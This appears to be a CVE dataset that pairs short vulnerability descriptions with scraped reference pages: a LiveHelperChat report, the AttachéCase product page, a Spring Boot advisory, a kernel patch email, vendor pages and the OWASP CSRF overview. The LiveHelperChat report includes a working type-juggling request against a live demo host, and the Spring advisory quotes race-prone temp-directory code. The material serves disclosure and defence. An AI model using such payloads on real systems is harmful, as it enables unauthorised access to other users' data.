Cross Site Scripting (XSS) vulnerability exists in Maccms v10 via link_Name parameter.

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Pick a username

Email Address

Password

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2021-43707: XSS · Issue #18 · maccmspro/maccms10

Loose comparison causes IDOR on multiple endpoints in GitHub repository livehelperchat/livehelperchat prior to 3.96.

**Description**

Live Helper Chat is vulnerable to Type Juggling on the `requestPayload['hash']`. The application uses a Loose Comparison to check if the user-controlled parameter is equal to an hash, this check is vulnerable because it's possible to pass other Data Types via JSON that causes the `if` condition to be `True`. This occurs on multiple endpoints.

**Proof of Concept**

For the PoC, the vulnerability resides on https://github.com/LiveHelperChat/livehelperchat/blob/master/lhc\_web/modules/lhwidgetrestapi/fetchmessage.php#L19

        if ($chat instanceof erLhcoreClassModelChat && $chat->hash == $requestPayload['hash'])
    

1.  **Request**

    POST /eng/widgetrestapi/fetchmessages HTTP/1.1
    Host: demo.livehelperchat.com
    Cookie: lhc_vid=eb9bc0c044919538c5b1
    Content-Length: 62
    Sec-Ch-Ua: "(Not(A:Brand";v="8", "Chromium";v="99"
    Accept: application/json, text/plain, */*
    Content-Type: application/x-www-form-urlencoded
    Sec-Ch-Ua-Mobile: ?0
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
    Sec-Ch-Ua-Platform: "macOS"
    Origin: https://demo.livehelperchat.com
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: https://demo.livehelperchat.com/
    Accept-Encoding: gzip, deflate
    Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7
    Connection: close
    
    {"chat_id":2,"hash":true,"lmgsid":1,"theme":1,"new_chat":true}
    

Note the `"hash":true`, this will make the `if` always return `True`.

The loose comparison can be solved by using a type safe check `===` or updating PHP to `8 <=`.

I've attached more occurrences of the same vulnerability: modules/lhwidgetrestapi/fetchmessage.php modules/lhwidgetrestapi/fetchmessages.php modules/lhwidgetrestapi/getmessagesnippet.php modules/lhwidgetrestapi/initchat.php modules/lhwidgetrestapi/uisettings.php

**Impact**

It's possible to bypass multiple checks. An attacker could access private information of other users.

**Occurrences**

CVE-2022-1176: Loose comparison causes IDOR on multiple endpoints in livehelperchat

Untrusted search path vulnerability in AttacheCase ver.3.6.1.0 and earlier allows an attacker to gain privileges and execute arbitrary code via a Trojan horse DLL in an unspecified directory.

![AttachéCase icon](https://hibara.org/software/attachecase/img/main_icon_128x128.png)

**AttachéCase ( Current Version )****Windows10, 11 / macOS**

![Windows 10 logo](https://hibara.org/software/attachecase/img/Windows_10_Logo.svg) **\- Update**   \* NET Framework 4.6 later

![Apple logo](https://hibara.org/software/attachecase/img/apple-logo.svg) **\-**   \* macOS 10.14 (macOS Mojave) later

> "AttachéCase4" is a powerful file/folder encryption software that uses the world's standard encryption algorithm, while focusing on simplicity and ease of use for daily use.

> **Important Notice（2022/03/30）**
> 
> A vulnerability in loading DLL was discovered in "AttacheCase4" for Windows. Placing a maliciously modified "dwmapi.dll" in the directory containing the executable file (AttacheCase.exe) may allow arbitrary code to be executed.
> 
> This vulnerability have been confirmed in **ver. 4.0.2.7 or earlier**. If you are using these versions of "AttacheCase4", please update to the latest version as soon as possible.
> 
> More information on this vulnerability can be found at the following page.  
> https://hibara.org/software/attachecase/vulnerability/
> 
> JVN#10140834  
> **AttacheCase may insecurely load Dynamic Link Libraries**  
> https://jvn.jp/jp/JVN10140834/
> 
> By countermeasuring of this vulnerability, the previous vulnerability in the older version of the " AttacheCase#3 " is also fixed.
> 
> If you are using this version, please update to the latest version as soon as possible.

![Main Window](https://hibara.org/software/attachecase/img/main_window_en.png)

スポンサー・リンク

**Introduction**

**Encryption is just three steps**

Encryption is just three steps. You can easily encrypt files by simply dragging and dropping them, or if you drag and drop the entire folder, it will create one encrypted file (pack the entire folder).

![ファイルの暗号化はわずか３ステップ](https://hibara.org/software/attachecase/img/3-steps-horizontal_en.png)

In addition, the data will be compressed during the encryption process, making it compact in size.

Decrypting is also as easy as dragging and dropping, or double-clicking and entering the password to restore the original files and folders.

**Output in self-executable format**

The encrypted file can also be output as an executable (\*.exe) file, so it can be passed to someone who does not have an AttachéCase and can be decrypted.

![Output in self-executable format](https://hibara.org/software/attachecase/img/exeout_en.png)

The Mac version cannot output in self-executable format, but it can decrypt executable files (\*.exe) generated by the Windows version.

**Supports both Windows and macOS**

Enables data exchange on Windows and macOS.

![AttcheCase for Mac](https://hibara.org/software/attachecase/img/attachecase_mac.png)

At present, the macOS version is inferior to the Windows version in terms of functionality, but as described in the roadmap below, I plan to start supporting both versions in earnest from around .NET6.

**Public key cryptography**

From ver.4, public key cryptography (RSA) is also supported. By exchanging public and private keys, it is no longer necessary to exchange ZIP passwords, making it possible to exchange data more securely.

![Sending the public key](https://hibara.org/software/attachecase/img/public_key_en.png)

![Decrypting with a private key](https://hibara.org/software/attachecase/img/private_key_en.png)

![RSA Cryption](https://hibara.org/software/attachecase/img/rsa_crypt_en.png)

**Cryptographic algorithms are global standards**

The encryption algorithm is based on the Advanced Encryption Standard (AES), the next-generation encryption standard chosen by the U.S. Government's National Institute of Standards and Technology (NIST) in October 2000. Also, the encryption mode used is CBC mode.

![CBC暗号化モード](https://hibara.org/software/attachecase/img/cbc-mode_en.png)

**Key derivation according to RFC2898**

![Key derivation according to RFC2898](https://hibara.org/software/attachecase/img/rfc2898derive_bytes_en.png)

Based on "PKCS #5: Password-Based Cryptography Specification Version 2.0" by RFC2898, the derived key and initialization vector after 1,000 iterations of password-based key derivation mixed with random numbers as salt are output one after another, and each is used as the key and initialization vector for encryption.

**New data format (Current version)**

Starting from ver.4, a new data format has been introduced, which enables more efficient encryption and decryption based on the know-how accumulated in the development up to ver.3. Note that ver.4 can decrypt data of ver.3 and 2, but ver.3 and 2 cannot decrypt data of ver.4. For details on data formats, please refer to " here ".

The old version is below.

**Development Roadmap**

A macOS version is also available, but it has limited functionality compared to the Windows version. .NET library used in application will be upgraded in the future, making it a cross-platform application completely that supports both Windows and macOS. Specifically, I will do this over the period from Nov 2021 onward.

Due to the delay in development by Microsoft, it is likely that full cross-platform with Windows and macOS will not be available until the second quarter of 2022 or later . Depending on the development status, it may be possible to release it as a beta version before the end of this year, but the schedule is uncertain.

![Development Roadmap](https://hibara.org/software/attachecase/img/roadmap_en.png)

After that, we will support .NET7, .NET8 according to the latest libraries released by Microsoft.

**Starting from ver.4, commercial use will be charged.**

**Windows**

I also set the "trial period" as one month, but there is no limit to how long you can continue using the app.

The price is **550 yen (tax included) per 1 user**.

Note that

*   For home and personal use
*   Students and educational institutions

can use it free of charge as a free license version.

You have free personal use, but if you would like to support us in the form of "support" or "donation", you are welcome to pay so. In that case, you will be issued a registration code, just like a commercial user.

As a result, support for the previous ver. 3 and 2 will be discontinued (Complete termination by April 2022). However, the previous versions will continue to be available free of charge for both personal and commercial use.

**macOS**

As for the macOS version, anyone (regardless of personal or commercial use) can use it free of charge.

However, that is only for downloads from this website, and any future downloads handled by the App Store will be paid for (whether for personal or commercial use).

The reason why downloads from this website, including the macOS version, are free of charge, while downloads from the App Store are paid for, is explained in the next section.

**Why commercial use is now paid for?**

There are many reasons for this, including the cost of managing and maintaining websites, the cost of continuing software development, especially the cost of "code signing certificates" that are added to executable files to prove that they are safe on Windows and can be installed without warning messages, and, for macOS, the Apple Developer registration fee etc. has become very difficult to cover with the decrease in advertising revenue.

I get a lot of emails about bugs and complaints, but other than that, I don't know what kind of people are using it, and to be honest, I'm loss of motivation.

The source code is released under the GPLv3 license (the macOS version is not open to the public), so there are no restrictions on using it as a stray build. You will only be charged for downloading the software from this official website or the App Store (\* Currently under review). In other words, please think of it as the cost of the distributed product, including development and maintenance costs, code signing certificate fees, etc.

スポンサー・リンク

**Download**

**Ver.4**

![Windows10 logo](https://hibara.org/software/attachecase/img/Windows_10_Logo.svg)

\* Windows10, 11 / NET Framework 4.6 later

![Apple logo](https://hibara.org/software/attachecase/img/apple-logo.svg)

\* macOS 10.14 (macOS Mojave) later

![App Store button](https://hibara.org/software/attachecase/img/Download_on_the_Mac_App_Store_Badge_US-UK_RGB_blk_092917.svg)

**Hash value**

*   
*   
*   

MD5:  
SHA-1:  
SHA-256:  

MD5:  
SHA-1:  
SHA-256:  

MD5:  
SHA-1:  
SHA-256:  

**Update history for Windows version**

**Update history for macOS version**

**Old Ver.3**

> **Important Notice（2022/03/30）**
> 
> A previously reported vulnerability allows "AttacheCase#3" to be DLL hijacked (DLL preloaded) by placing certain DLL files in the location where the output self-extracting archive file and the main body "AttacheCase.exe" are located.
> 
> Please update to the latest version "AttacheCase#3" as soon as possible.
> 
> JVN#61502349  
> **Self-Extracting Encrypted Files created by AttacheCase may insecurely load Dynamic Link Libraries**  
> https://jvn.jp/en/jp/JVN61502349/  

![Windows10 logo](https://hibara.org/software/attachecase/img/Windows_10_Logo.svg)

\* Windows XP/Vista/7/8/10 / NET Framework 4.0 later

*   Although support for this software has been discontinued by Microsoft, it also will work on Windows XP.
*   .NET Framework 4 or higher is required for operation.

**Hash value**

*   
*   

**Update history**

**Old Ver.2**

![WindowsXP logo](https://hibara.org/software/attachecase/img/windows_xp.svg)

\* Windows 95, 98, XP

**Hash value**

*   
*   

**Open source license**

**GPLv3 license**

> Copyright (C) 2020 M.Hibara
> 
> This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
> 
> This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
> 
> You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>.

**Source code**

**hibara - GitHub**

It has been built and tested with Microsoft Visual Studio 2019. It includes everything you need to build, including resource files. You are welcome to report bugs and requests to Issue, pull requests, forks, etc.

The MacOS version is not open source due to Apple's terms and conditions. However, the classes required for encryption and decryption (specifically, Encrypt4.cs and Decrypt4.cs) are the same.

![GitHubロゴ](https://hibara.org/software/attachecase/img/github-octcat.png)

**Data specification**

Starting from ver.4, the cryptographic algorithm has been changed to AES 256bit CBC mode for ease of porting. I keep that .NET is moving in the direction of cutting off Rijindael 256 support for in the future in mind.

In addition, I used to use SHA-1 for checksums, which is a heavy load. MD5 is now sufficient for this purpose.

The file information stored in the data is now stored serially as binary data instead of character strings. For details, please see the following PDF file.

Download data specification

To learn more about the data structure, including previous versions (ver.3 and 2), please download the PDF data above and check it out.

**オンラインヘルプ**

**Support**

For inquiries (support), please contact us by e-mail. Please contact us at the following address

> Mitsuhiro Hibara

If you would like to report a problem, please specify your OS version (Windows, macOS, and its version), the version of the AttachéCase you are using, and describe a situation that I can reproduce. If I can't reproduce the problem, I can't fix it.

If possible, please attach reproducible files and passwords (dummy data and dummy passwords are fine) so that I can make revisions smoothly.

> **Improvements, bug reports, and pull requests from GitHub are most welcome!**
> 
> If possible, please use the GitHub repository instead of your email address, and send improvements and bug reports to Issues , or Pull Requests if you can fix the code directly.

CVE-2022-28128: File encryption software for both Windows and macOS

** UNSUPPORTED WHEN ASSIGNED ** spring-boot versions prior to version v2.2.11.RELEASE was vulnerable to temporary directory hijacking. This vulnerability impacted the org.springframework.boot.web.server.AbstractConfigurableWebServerFactory.createTempDir method. NOTE: This vulnerability only affects products and/or versions that are no longer supported by the maintainer.

**Package**

maven org.springframework.boot:spring-boot (Maven)

**Affected versions**

< v2.2.11.RELEASE

**Patched versions**

v2.2.11.RELEASE

This was originally spotted by @trugPa and communicated here: github/codeql#4473 (comment)

**Impact**

spring-boot versions prior to version `v2.2.11.RELEASE` was vulnerable to temporary directory hijacking. This vulnerability impacted the `org.springframework.boot.web.server.AbstractConfigurableWebServerFactory.createTempDir` method.

The vulnerable method is used to create a work directory for embedded web servers such as Tomcat and Jetty. The directory contains configuration files, JSP/class files, etc. If a local attacker got the permission to write in this directory, they could completely take over the application (ie. local privilege escalation).

**Impact Location**

This vulnerability impacted the following source location:

	/\*\*
	 \* Return the absolute temp dir for given web server.
	 \* @param prefix server name
	 \* @return the temp dir for given server.
	 \*/
	protected final File createTempDir(String prefix) {
		try {
			File tempDir = File.createTempFile(prefix + ".", "." + getPort());
			tempDir.delete();
			tempDir.mkdir();
			tempDir.deleteOnExit();
			return tempDir;
		}

\- https://github.com/spring-projects/spring-boot/blob/ce70e7d768977242a8ea6f93188388f273be5851/spring-boot-project/spring-boot/src/main/java/org/springframework/boot/web/server/AbstractConfigurableWebServerFactory.java#L165-L177

This vulnerability exists because `File.mkdir` returns `false` when it fails to create a directory, it does not throw an exception. As such, the following race condition exists:

File tmpDir =File.createTempFile(prefix + ".", "." + getPort()); // Attacker knows the full path of the file that will be generated
// delete the file that was created
tmpDir.delete(); // Attacker sees file is deleted and begins a race to create their own directory before Jetty.
// and make a directory of the same name
// SECURITY VULNERABILITY: Race Condition! - Attacker beats java code and now owns this directory
tmpDir.mkdirs(); // This method returns 'false' because it was unable to create the directory. No exception is thrown.
// Attacker can write any new files to this directory that they wish.
// Attacker can read any files created by this process.

**Prerequisites**

This vulnerability impacts Unix-like systems, and very old versions of Mac OSX and Windows as they all share the system temporary directory between all users.

**Patches**

This vulnerability was inadvertently fixed as a part of this patch: spring-projects/spring-boot@667ccda

This vulnerability is patched in versions `v2.2.11.RELEASE` or later.

**Workarounds**

Setting the `java.io.tmpdir` system environment variable to a directory that is exclusively owned by the executing user will fix this vulnerability for all operating systems.

**CVE ID**

CVE-2022-27772

**GHSA ID**

GHSA-cm59-pr5q-cw85

**CWEs**

**CVSS Score**

7.8 High

CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

**Credits**

CVE-2022-27772: Build software better, together

An integer overflow flaw was found in the Linux kernel’s virtio device driver code in the way a user triggers the vhost_vdpa_config_validate function. This flaw allows a local user to crash or potentially escalate their privileges on the system.

From: Sasha Levin <sashal@kernel.org>
To: linux-kernel@vger.kernel.org, stable@vger.kernel.org
Cc: Laura Abbott <labbott@kernel.org>,
	Luo Likang <luolikang@nsfocus.com>,
	"Michael S . Tsirkin" <mst@redhat.com>,
	Sasha Levin <sashal@kernel.org>,
	jasowang@redhat.com, kvm@vger.kernel.org,
	virtualization@lists.linux-foundation.org,
	netdev@vger.kernel.org
Subject: \[PATCH AUTOSEL 5.15 13/16\] vdpa: clean up get\_config\_size ret value handling
Date: Sat, 22 Jan 2022 19:12:12 -0500	\[thread overview\]
Message-ID: <20220123001216.2460383-13-sashal@kernel.org> (raw)
In-Reply-To: <20220123001216.2460383-1-sashal@kernel.org\>

From: Laura Abbott <labbott@kernel.org>

\[ Upstream commit 870aaff92e959e29d40f9cfdb5ed06ba2fc2dae0 \]

The return type of get\_config\_size is size\_t so it makes
sense to change the type of the variable holding its result.

That said, this already got taken care of (differently, and arguably
not as well) by commit 3ed21c1451a1 ("vdpa: check that offsets are
within bounds").

The added 'c->off > size' test in that commit will be done as an
unsigned comparison on 32-bit (safe due to not being signed).

On a 64-bit platform, it will be done as a signed comparison, but in
that case the comparison will be done in 64-bit, and 'c->off' being an
u32 it will be valid thanks to the extended range (ie both values will
be positive in 64 bits).

So this was a real bug, but it was already addressed and marked for stable.

Signed-off-by: Laura Abbott <labbott@kernel.org>
Reported-by: Luo Likang <luolikang@nsfocus.com>
Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
 drivers/vhost/vdpa.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/vhost/vdpa.c b/drivers/vhost/vdpa.c
index d62f05d056b7b..913cd465f9f1e 100644
--- a/drivers/vhost/vdpa.c
+++ b/drivers/vhost/vdpa.c
@@ -195,7 +195,7 @@ static int vhost\_vdpa\_config\_validate(struct vhost\_vdpa \*v,
 				      struct vhost\_vdpa\_config \*c)
 {
 	struct vdpa\_device \*vdpa = v->vdpa;
\-	long size = vdpa->config->get\_config\_size(vdpa);
+	size\_t size = vdpa->config->get\_config\_size(vdpa);
 
 	if (c->len == 0 || c->off > size)
 		return -EINVAL;
-- 
2.34.1

next prev parent reply	other threads:\[~2022-01-23  0:14 UTC|newest\]

**Thread overview:** 6+ messages / expand\[flat|nested\]  mbox.gz  Atom feed  top
     \[not found\] <20220123001216.2460383-1-sashal@kernel.org\>
2022-01-23  0:12 \` \[PATCH AUTOSEL 5.15 07/16\] sit: allow encapsulated IPv6 traffic to be delivered locally Sasha Levin
2022-01-23  0:12 \` \[PATCH AUTOSEL 5.15 09/16\] net: apple: mace: Fix build since dev\_addr constification Sasha Levin
2022-01-23  0:12 \` \[PATCH AUTOSEL 5.15 10/16\] net: apple: bmac: " Sasha Levin
2022-01-23  0:12 \` \[PATCH AUTOSEL 5.15 12/16\] vhost/test: fix memory leak of vhost virtqueues Sasha Levin
**2022-01-23  0:12 \` Sasha Levin \[this message\]**
2022-04-02  3:57   \` \[PATCH AUTOSEL 5.15 13/16\] vdpa: clean up get\_config\_size ret value handling Dan Carpenter

**Reply instructions:**

You may reply publicly to this message via plain-text email
using any one of the following methods:

\* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting\_style#Interleaved\_style

\* Reply using the **\--to**, **\--cc**, and **\--in-reply-to**
  switches of git-send-email(1):

  git send-email \\
    --in-reply-to=20220123001216.2460383-13-sashal@kernel.org \\
    --to=sashal@kernel.org \\
    --cc=jasowang@redhat.com \\
    --cc=kvm@vger.kernel.org \\
    --cc=labbott@kernel.org \\
    --cc=linux-kernel@vger.kernel.org \\
    --cc=luolikang@nsfocus.com \\
    --cc=mst@redhat.com \\
    --cc=netdev@vger.kernel.org \\
    --cc=stable@vger.kernel.org \\
    --cc=virtualization@lists.linux-foundation.org \\
    /path/to/YOUR\_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

\* If your mail client supports setting the **In-Reply-To** header
  via mailto: links, try the mailto: link

Be sure your reply has a **Subject:** header at the top and a blank line before the message body.

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).

CVE-2022-0998: [PATCH AUTOSEL 5.15 13/16] vdpa: clean up get_config_size ret value handling

From: Sasha Levin <sashal@kernel.org>
To: linux-kernel@vger.kernel.org, stable@vger.kernel.org
Cc: Laura Abbott <labbott@kernel.org>,
	Luo Likang <luolikang@nsfocus.com>,
	"Michael S . Tsirkin" <mst@redhat.com>,
	Sasha Levin <sashal@kernel.org>,
	jasowang@redhat.com, kvm@vger.kernel.org,
	virtualization@lists.linux-foundation.org,
	netdev@vger.kernel.org
Subject: \[PATCH AUTOSEL 5.15 13/16\] vdpa: clean up get\_config\_size ret value handling
Date: Sat, 22 Jan 2022 19:12:12 -0500	\[thread overview\]
Message-ID: <20220123001216.2460383-13-sashal@kernel.org> (raw)
In-Reply-To: <20220123001216.2460383-1-sashal@kernel.org\>

From: Laura Abbott <labbott@kernel.org>

\[ Upstream commit 870aaff92e959e29d40f9cfdb5ed06ba2fc2dae0 \]

The return type of get\_config\_size is size\_t so it makes
sense to change the type of the variable holding its result.

That said, this already got taken care of (differently, and arguably
not as well) by commit 3ed21c1451a1 ("vdpa: check that offsets are
within bounds").

The added 'c->off > size' test in that commit will be done as an
unsigned comparison on 32-bit (safe due to not being signed).

On a 64-bit platform, it will be done as a signed comparison, but in
that case the comparison will be done in 64-bit, and 'c->off' being an
u32 it will be valid thanks to the extended range (ie both values will
be positive in 64 bits).

So this was a real bug, but it was already addressed and marked for stable.

Signed-off-by: Laura Abbott <labbott@kernel.org>
Reported-by: Luo Likang <luolikang@nsfocus.com>
Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
 drivers/vhost/vdpa.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/vhost/vdpa.c b/drivers/vhost/vdpa.c
index d62f05d056b7b..913cd465f9f1e 100644
--- a/drivers/vhost/vdpa.c
+++ b/drivers/vhost/vdpa.c
@@ -195,7 +195,7 @@ static int vhost\_vdpa\_config\_validate(struct vhost\_vdpa \*v,
 				      struct vhost\_vdpa\_config \*c)
 {
 	struct vdpa\_device \*vdpa = v->vdpa;
\-	long size = vdpa->config->get\_config\_size(vdpa);
+	size\_t size = vdpa->config->get\_config\_size(vdpa);
 
 	if (c->len == 0 || c->off > size)
 		return -EINVAL;
-- 
2.34.1

     prev parent reply	other threads:\[~2022-01-23  0:14 UTC|newest\]

**Thread overview:** 5+ messages / expand\[flat|nested\]  mbox.gz  Atom feed  top
     \[not found\] <20220123001216.2460383-1-sashal@kernel.org\>
2022-01-23  0:12 \` \[PATCH AUTOSEL 5.15 07/16\] sit: allow encapsulated IPv6 traffic to be delivered locally Sasha Levin
2022-01-23  0:12 \` \[PATCH AUTOSEL 5.15 09/16\] net: apple: mace: Fix build since dev\_addr constification Sasha Levin
2022-01-23  0:12 \` \[PATCH AUTOSEL 5.15 10/16\] net: apple: bmac: " Sasha Levin
2022-01-23  0:12 \` \[PATCH AUTOSEL 5.15 12/16\] vhost/test: fix memory leak of vhost virtqueues Sasha Levin
**2022-01-23  0:12 \` Sasha Levin \[this message\]**

**Reply instructions:**

You may reply publicly to this message via plain-text email
using any one of the following methods:

\* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting\_style#Interleaved\_style

\* Reply using the **\--to**, **\--cc**, and **\--in-reply-to**
  switches of git-send-email(1):

  git send-email \\
    --in-reply-to=20220123001216.2460383-13-sashal@kernel.org \\
    --to=sashal@kernel.org \\
    --cc=jasowang@redhat.com \\
    --cc=kvm@vger.kernel.org \\
    --cc=labbott@kernel.org \\
    --cc=linux-kernel@vger.kernel.org \\
    --cc=luolikang@nsfocus.com \\
    --cc=mst@redhat.com \\
    --cc=netdev@vger.kernel.org \\
    --cc=stable@vger.kernel.org \\
    --cc=virtualization@lists.linux-foundation.org \\
    --subject='Re: \[PATCH AUTOSEL 5.15 13/16\] vdpa: clean up get\_config\_size ret value handling' \\
    /path/to/YOUR\_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

\* If your mail client supports setting the **In-Reply-To** header
  via mailto: links, try the mailto: link

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).

Baicells Nova436Q and Neutrino 430 devices with firmware through QRTB 2.7.8 have hardcoded credentials that are easily discovered, and can be used by remote attackers to authenticate via ssh. (The credentials are stored in the firmware, encrypted by the crypt function.)

![](https://na.baicells.com/Content/img/logo.png)

*   PRODUCTS
    
    {{item.ClassName}}
    
    2022 Starter Kit
    
*   {{mitem.MenuName}}
    
    {{mitem1.MenuName}} ![Alternate Text](https://na.baicells.com/Content/img/rigthimg.png)
    
    *   {{mitem11.MenuName}}
    
*   RESOURCES
    
    {{item.ModuleName}}
    
    Documents
    
    {{ForumInfo.MenuName}}
    
*   SUPPORT
    
    {{GettingStartedInfo.MenuName}}
    
    BaiCare
    
    Product Registration
    
    Firmware
    
    Technical Support Videos
    
    {{item.ModuleName}} ![Alternate Text](https://na.baicells.com/Content/img/rigthimg.png)
    
    *   {{CloudCoreStatusInfo.MenuName}}
    *   IMSI to MAC
    
    *   RMA Requests
    *   FAQ
    
    {{item.ModuleName}}
    
    {{CloudSupportTicketsInfo.MenuName}}
    
*   SHOP![](https://na.baicells.com/Content/img/shopnew.png)
*   ABOUT
    
    About Baicells
    
    Partners
    
    Careers
    

![](https://na.baicells.com/Content/img/shop.png) ![](https://na.baicells.com/Content/img/search_img.png) ![](https://na.baicells.com/Content/img/gengduo.png)

*   PRODUCTS
    
    {{item.ClassName}}
    
    2022 Starter Kit
    
*   {{mitem.MenuName}}
    
    {{mitem1.MenuName}}
    
*   RESOURCES
    
    {{item.ModuleName}}
    
    Documents
    
    {{ForumInfo.MenuName}}
    
*   SUPPORT
    
    {{GettingStartedInfo.MenuName}}
    
    BaiCare
    
    Product Registration
    
    Firmware
    
    Technical Support Videos
    
    {{item.ModuleName}} ![Alternate Text](https://na.baicells.com/Content/img/rigthimg.png)
    
    *   {{CloudCoreStatusInfo.MenuName}}
    *   IMSI to MAC
    
    *   RMA Request
    *   FAQ
    
    {{item.ModuleName}}
    
    {{CloudSupportTicketsInfo.MenuName}}
    
*   SHOP
*   ABOUT

![](https://na.baicells.com/content/img/pop_logo.png)

RMA Request In order for us to allocate your RMA request correctly, please choose your business region below. Once the request is submitted, our representative of your chosen region will contact you directly.  
Thank you.

Choose region

SEND EMAIL

![](https://na.baicells.com/content/img/pop_logo.png)

IMSI TO MAC CALCULATOR Enter the IMSI of the device to receive the MAC address.

IMSI/SIM ID

DHCP MAC Address

![](https://na.baicells.com/Service/this.src='/images/mr.jpg')

{{HeadTemplate\[0\].BannerList\[0\].Title}}

{{HeadTemplate\[0\].BannerList\[0\].Description}}

*   {{item.FirmwareTitle}}

{{item.Title}}

*   GLOBAL PRODUCT NAME
*   VERSION DOWNLOAD

*   {{itemfile.Title}}
    
    {{itemfile2.Remark}}
    
    {{itemfile2.Title}}
    
    ![](https://na.baicells.com/Content/img/copy.png)
    
    ![](https://na.baicells.com/Content/img/xiazai-2.png)
    

![](https://na.baicells.com/Content/img/pop_logo.png)

**{{Title}}**

Contact our experienced sales staff by filling out the form below.

*   **\*Region**
*   **\*States**
*   **\*Name**
*   **\*Company**
*   **\*Email**
*   **\*Country**
*   **Phone**
*   **Website**
*   **Use Case**
*   **How did you hear about Baicells?**
*   **Message**

Would you like to be added to our BaiWeekly Newsletter?

Yes, I'd like to stay informed on Baicells sales and other important announcements.

![](https://na.baicells.com/Content/img/cha_1.png) {{AdvaInfo.Title}}

![](https://na.baicells.com/Content/img/cha_1.png)

{{AdvaInfo.Title}}

{{AdvaInfo.Title}}

![](https://na.baicells.com/Content/img/cha_1.png)

CVE-2022-24693: Firmware

SWHKD 1.1.5 unsafely uses the /tmp/swhkd.pid pathname. There can be an information leak or denial of service.

Thanks to @uncomfyhalomacro who packaged swhkd from open suse repos, a multitude of security vulnerabilities were discovered by @mgerstner which primarily arose due to my incompetence and lack of careful review of all pull requests. I apologize for this.

The following CVE's have been fixed in this release:

    CVE-2022-27815
    CVE-2022-27814
    CVE-2022-27819
    CVE-2022-27818
    CVE-2022-27816
    

Only CVE-2022-27817 remains as it is a genuinely difficult problem to solve for us right now. After a short conversation with Kenny Levinsen ( author of seatd ) we came to the conclusion that it's not possible to get access of a seat without complete control of the session hence any compositor which is launched after swhkd won't work. We can however get the fd's of the devices, release the seat, and then pass it along to evdev but that will require a complete application rewrite.

@mgerstner did suggest to try systemd context switching with elogind for supporting various inits. As far as I can tell this implementation will have a time complexity of O(2^n) so as the number of seats increase, swhkd will start to lag because there is a considerable amount of cold start to swhkd after which the application runs fine.

I'd also like to point out that the above solution will **NOT** be portable. Distributions that decide to not build elogind support into their init systems will not be able to run swhkd and hence it's not a path that I'd fancy even if it were to fix the problem.

For now CVE-2022-27817 will probably remain stale. For single user ( single seat ) systems swhkd will function just fine.

CVE-2022-27815: Releases · waycrate/swhkd

**New features****Include multiple config files by using the `include` statement.**

    # /etc/swhkd/swhkdrc
    include /home/user/.config/swhkd/swhkdrc
    

**`@` and `~` prefixes.**

Add `@` before a keysym so that the command will run when the key is released.  
Add `~` before a keysym so that the keysym would be sent to other clients.

**What's Changed**

*   Update release.sh by @uncomfyhalomacro in #84
*   refactor: improve daemon / server code by @angelofallars in #85
*   feat: improve logs in daemon/server by @angelofallars in #86
*   Feat: multiple config file loading & '@' '~' prefix by @EdenQwQ in #87

**New Contributors**

*   @uncomfyhalomacro made their first contribution in #84

**Full Changelog**: 1.1.5...1.1.7

A Cross-Site Request Forgery (CSRF) in Pluck CMS v4.7.15 allows attackers to change the password of any given user by exploiting this feature leading to account takeover.

**Author:** KirstenS  
**Contributor(s):** Dave Wichers, Davisnw, Paul Petefish, Adar Weidman, Michael Brooks, Ahsan Mir, Dc, D0ubl3 h3lix, Jim Manico, Robert Gilbert, Tgondrom, Pawel Krawczyk, Brandt, A V Minhaz, Kevin Lorenzo, Andrew Smith, Christina Schelin, Ari Elias-Bachrach, Sarciszewski, kingthorin, Ben Spatafora  

**Overview**

Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker’s choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.

**How to Review Code for CSRF Vulnerabilities**

See the OWASP Code Review Guide article on how to review code for CSRF vulnerabilities.

**How to Test for CSRF Vulnerabilities**

See the OWASP Testing Guide article on how to test for CSRF vulnerabilities.

**How to Prevent CSRF Vulnerabilities**

See the CSRF Prevention Cheat Sheet for prevention measures.

Listen to the OWASP Top Ten CSRF Podcast.

Most frameworks have built-in CSRF support such as Joomla, Spring, Struts, Ruby on Rails, .NET and others.

Use OWASP CSRF Guard to add CSRF protection to your Java applications. You can use CSRFProtector Project to protect your PHP applications or any project deployed using Apache Server.

John Melton also has an excellent blog post describing how to use the native anti-CSRF functionality of the OWASP ESAPI.

**Description**

